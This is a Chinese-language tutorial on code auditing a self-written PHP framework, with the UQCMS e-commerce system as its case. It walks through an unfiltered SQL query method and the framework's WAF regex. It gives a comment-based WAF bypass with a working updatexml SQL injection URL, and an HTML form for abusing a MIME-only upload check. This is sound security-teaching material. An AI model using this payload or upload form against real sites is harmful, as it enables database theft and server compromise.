基于框架开发的程序的代码审计思路2
字数 867 2025-08-27 12:33:48
基于自写框架的代码审计方法与实战分析
审计思路概述
对于开发者自写的框架,审计思路应遵循以下流程:
- 核心文件审计:首先审查框架的核心文件,特别是数据库操作、文件上传、输入过滤等关键功能
- 调用链追踪:从核心功能点出发,追踪其在应用程序中的调用路径
- 模型层审计:检查业务模型中的安全实现
- 架构分析:通过目录结构和命名规则理解程序架构
案例研究:UQCMS电商系统审计
1. SQL注入漏洞审计
核心数据库操作类分析
在UQframework/db.class.php中发现关键问题:
function query($uq1) {
if (empty($uq1)) {
return false;
}
// 直接执行SQL查询,无任何过滤
$uq3 = $this->conn->query($uq1);
// ...其他代码...
}
对比其他方法(如add())有过滤措施:
function add($uq6, $uq7) {
foreach ($uq7 as $uq10 => $uq11) {
if (!get_magic_quotes_gpc()) {
$uq9 .= "'" . addslashes($uq11) . "',";
} else {
$uq9 .= "'" . $uq11 . "',";
}
}
// ...构建SQL语句...
}
危险调用点
get_one()方法直接调用未过滤的query():
function get_one($uq1) {
$uq3 = $this->query($uq1); // 直接传入原始SQL
// ...处理结果...
}
实际漏洞点示例
在/home/controls/demo.class.php中:
function index() {
$uq0 = $_GET['gid'] ?? false;
// 直接拼接用户输入到SQL语句
$uq1 = $this->db->get_one("select * from " . table('goods') . " where id = " . $uq0);
// ...其他代码...
}
WAF绕过分析
框架存在WAF防护:
$uq4 = "/\\b(and|or)\\b.{1,6}(=|>|<|\\bin\\b|\\blike\\b)|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)/is";
function StopAttack($uq7, $uq8, $uq9) {
if (preg_match("/" . $uq9 . "/is", $uq7) == 1) {
safe_error_msg();
}
// ...其他检查...
}
绕过方法:
- 使用注释分割关键字:
/**/ - 示例Payload:
http://127.0.0.1/index.php/demo/index/?gid=2/**/and(updatexml(1,concat(0x7e,user(),0x7e),1))
2. 文件上传漏洞审计
核心上传类分析
在UQframework/class/upload.class.php中:
static public function store($uq2, $uq3 = null, $uq4 = null) {
// ...获取上传文件信息...
if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png'])) {
// 仅检查MIME类型,可被伪造
// ...文件大小检查...
}
}
实际调用点
在/home/controls/album.class.php中:
public function upload_temp() {
$uq2 = upload::store('temp/images');
echo json_encode($uq2);
}
模型层上传漏洞
在模型中发现类似问题:
function upload_function($uq4, $uq6, $uq7, $uq8, $uq9) {
if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png', 'jpg', 'gif', 'png'])) {
// 仅检查MIME类型和扩展名
// ...文件处理...
}
}
漏洞利用方法
构造上传表单:
<form action="http://127.0.0.1/index.php/album/upload_temp/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
审计方法论总结
-
核心文件优先:首先审计框架核心文件,特别是:
- 数据库操作类
- 文件上传处理类
- 输入过滤和WAF实现
-
调用链追踪:
- 从危险函数(如未过滤的SQL执行)出发,查找调用路径
- 使用工具辅助搜索调用点(如Seay源代码审计工具)
-
模型层审计:
- 检查业务模型中的安全实现
- 特别注意模型中对核心功能的封装调用
-
防御机制分析:
- 识别WAF/过滤规则
- 分析可能的绕过方法
-
实战技巧:
- 通过目录结构和命名规则快速定位关键文件
- 关注开发者自定义的安全函数实现
- 检查所有用户输入点与危险函数的组合
推荐练习
建议下载UQCMS进行实战练习,重点关注:
- 数据库操作类的所有调用点
- 文件上传功能的所有实现路径
- WAF规则的绕过可能性
- 模型层与控制器层的交互方式